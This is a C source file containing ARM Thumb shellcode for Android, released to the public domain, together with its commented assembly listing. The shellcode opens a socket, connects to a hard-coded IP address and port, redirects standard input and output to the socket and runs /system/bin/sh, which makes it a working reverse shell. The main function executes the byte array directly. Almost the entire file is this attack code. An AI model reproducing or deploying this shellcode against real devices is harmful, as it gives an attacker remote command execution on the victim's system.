/* This ARM Thumb sc connects to a given IP and port with a shell.
 * Intended for use with Android (hence /system/bin/sh).
 *
 * Connects to the provided IP and port with a shell
 *
 * no null bytes in the code, but does this really matter these days?
 * it could be fixed with just a few instructions.
 *
 * Released to the public domain */

#include <stdio.h>
#include <string.h>

#define SWAP16(x)	((x) << 8 | ((x) >> 8))

const unsigned char sc[] = {
	/* Enter Thumb mode (for proof of concept) */
	0x01, 0x10, 0x8F, 0xE2, 0x11, 0xFF, 0x2F, 0xE1,

	/* 16-bit instructions follow */
	0x02, 0x20, 0x01, 0x21, 0x92, 0x1A, 0x0F, 0x02, 0x19, 0x37, 0x01,
	0xDF, 0x06, 0x1C, 0x08, 0xA1, 0x10, 0x22, 0x02, 0x37, 0x01, 0xDF,
	0x3F, 0x27, 0x02, 0x21, 0x30, 0x1c, 0x01, 0xdf, 0x01, 0x39, 0xFB,
	0xD5, 0x05, 0xA0, 0x92, 0x1a, 0x05, 0xb4, 0x69, 0x46, 0x0b, 0x27,
	0x01, 0xDF, 0xC0, 0x46,

	/* struct sockaddr */
	0x02, 0x00,
	/* port: 0x1234 */
	0x12, 0x34,
	/* ip: 10.0.2.2 */
	0x0A, 0x00, 0x02, 0x02,

	/* "/system/bin/sh" */
	0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e,
	0x2f, 0x73, 0x68, 0x00
};

int main()
{
	printf("shellcode=%d bytes\n"
	       "connecting to %d.%d.%d.%d:%hd\n", sizeof sc,
		sc[0x3c], sc[0x3d], sc[0x3e], sc[0x3f],
		SWAP16(*((unsigned short *)(sc+0x3a))));
	return ((int (*)(void))sc)();
}

/*
 * Assembly for those who are interested 
 *

# switch to Thumb mode (16-bit ops) 
        .code 32
        add     r1, pc, #1
        bx      r1

# Thumb instructions follow
        .code 16

# socket(2, 1, 0)
        mov     r0, #2
        mov     r1, #1
        sub     r2, r2, r2
        lsl     r7, r1, #8
        add     r7, r7, #25
        svc     1

# connect(r0, &addr, 16)
        mov     r6, r0
        add     r1, pc, #32
        mov     r2, #16
        add     r7, #2
        svc     1

# dup2(r0, 0/1/2)
        mov     r7, #63
        mov     r1, #2
Lb:
        mov     r0, r6
        svc     1
        sub     r1, #1
        bpl     Lb

# execve("/system/bin/sh", ["/system/bin/sh", 0], 0) 
        add     r0, pc, #20
        sub     r2, r2, r2
        push    {r0, r2}
        mov     r1, sp
        mov     r7, #11
        svc     1

# struct sockaddr 
.align 2
.short 0x2
.short 0x3412	# port	
.byte 10,0,2,2	# IP
.ascii "/system/bin/sh\0\0"	# shell

***/